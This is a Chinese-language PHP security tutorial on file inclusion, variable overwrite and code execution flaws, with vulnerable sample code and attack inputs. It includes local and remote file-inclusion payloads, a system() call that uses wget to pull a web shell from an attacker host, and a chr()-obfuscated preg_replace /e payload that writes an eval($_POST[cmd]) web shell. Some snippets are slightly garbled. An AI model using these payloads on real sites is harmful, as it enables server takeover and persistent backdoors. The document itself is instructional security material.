PHP安全(文件包含、变量覆盖、代码执行)
文件包含漏洞
open_basedir = /home/app/aaa
/home/app/aaa /home/app/aaabbb /home/app/aaa123
open_basedir = /home/app/aaa/
http://www.example.com/index.php?file=data:text/plain,<?php phpinfo(); ?>%00
x|s:19:"<?php phpinfo(); ?>"
http://www.website.com/view.php?page=../../../../proc/self/environ
<?php system('wget http://hacker/shells/phpshell.txt -O shell.php'); ?>
<?php if ($route=="share") { require_once $basePath . '/action/m_share.php';} elseif($route == "sharelink") { require_once $basePath . '/action/m_sharelink.php';} ?>
?param=http://attacker/phpshell.txt?
require_once 'httpL//attacker/phpshell.txt?/action/m_share.php';
变量覆盖漏洞
$_GET数组 <?php if(isset($_GET)) { var_dump($_GET); } $smity=array("a"=>"1","c"=>2); var_dump($smity); ?> 输入: http://url/get.php?a=1 输出: array(1){["a"]=>string(1)"1"}array(2){["a"]=>string(1)"1"["c"]->int(2)} 1、foreach($variable as $value){} 2、foreach($variable as $key=>$value{}
<?php $a=2; foreach ($_GET as $key=>$value){ $($key)=$value; } echo $a; }
?> 输入: xxx?a=1 输出: 1
<?php $a=1; //原变量值为1 $b=array('a'=>'3'); extract($b); //经过extract()函数对$b处理后 echo $a; //输出结果为3 ?>
<?php $a=1; //原变量值为1 parse_str('a=2'); //经过parse_str()函数后注册变量$a,重新赋值 print_r($a); //输出结果为2 ?>
<?php $auth='0'; import_request_variables('G'); if($auth==1) { echo "private!"; } else{ echo "public!"; } ?> 输入: www.xxx.com?auth=1 输出: private
代码执行漏洞
执行系统命令
方法一:exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)
php代码:
知识点:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
方法二:passthru()
function passthru(string $command,int[optional] $return_value)
知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
方法三:system()
function system(string $command,int[optional] $return_value)
知识点:
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
方法四:反撇号`和shell_exec()
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
代码:
方法五、用popen()函数打开进程
resource popen ( string $command , string $mode )
函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。
返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。
此指针可以用于fgets(),fgetss()和 fwrite()
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
方法六、proc_open()函数
与Popen函数类似,但是可以提供双向管道
方法七、pcntl_exec()函数
path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。
pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
preg_replace()代码执行
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int
limit])
搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
特别说明:
/e 修正符使
preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:
<?php preg_replace ("/(</?)(w+)([^>]*>)/e", "\1.strtoupper(\2).\3", $html_body); ?>
这将使输入字符串中的所有 HTML 标记变成大写。
安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:
<? echo preg_replace("/test/e",$_GET["h"],"jutst test"); ?>
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php
eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。